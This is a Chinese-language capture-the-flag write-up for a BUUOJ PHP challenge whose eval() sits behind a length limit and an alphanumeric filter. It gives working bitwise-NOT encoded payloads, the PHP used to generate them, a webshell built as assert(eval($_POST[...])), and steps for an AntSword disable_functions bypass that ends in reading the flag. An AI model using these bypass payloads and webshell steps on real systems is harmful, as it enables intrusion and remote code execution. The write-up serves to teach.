<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
开始代码审计.
意思就是我们传入的code的value要到达eval()函数,我们需要绕过两个过滤
首先是长度不能大于40,之后便是我们传入的内容不能是大小写字母以及0-9的数字.
绕过方法呢可以使用取反绕过,以及异或绕过.
我们这里采用取反绕过的方法.
首先构造exp,去看看他禁用了哪些函数.
<?php
$phpinfo=urlencode(~'phpinfo');
echo '(~'.$phpinfo.')();';
?>
result:(~%8F%97%8F%96%91%99%90)();
payload:
http://ffc6c847-30f6-4efb-aea5-fff4306738a6.node5.buuoj.cn:81/?code=(~%8F%97%8F%96%91%99%90)();
看来禁用的还是比较多的一会可能需要使用这些被使用了disable_function()的函数了.
之后构造webshell,由于php版本的问题呢,我们不能直接构造assert($_POST["cmd"]),我们需要构造构造成assert(eval($_POST["cmd"])),这种形式.
话不多说,开始构造webshell.
<?php
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "\n";
$c='(eval($_POST[love]))';
$d=urlencode(~$c);
echo $d;
?>
result:%9E%8C%8C%9A%8D%8B
%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%93%90%89%9A%A2%D6%D6
链接蚁剑客.
http://1183e56b-6266-4676-8c7e-fe5a9f33d291.node5.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%93%90%89%9A%A2%D6%D6);
之前我们提到了,他禁用了很多函数方法,我们可以通过下面蚁剑的绕过disable_functions的插件进行绕过.
选择PHP7_GC_UAF
之后执行/readflag,来读取flag.
得到flag,游戏结束.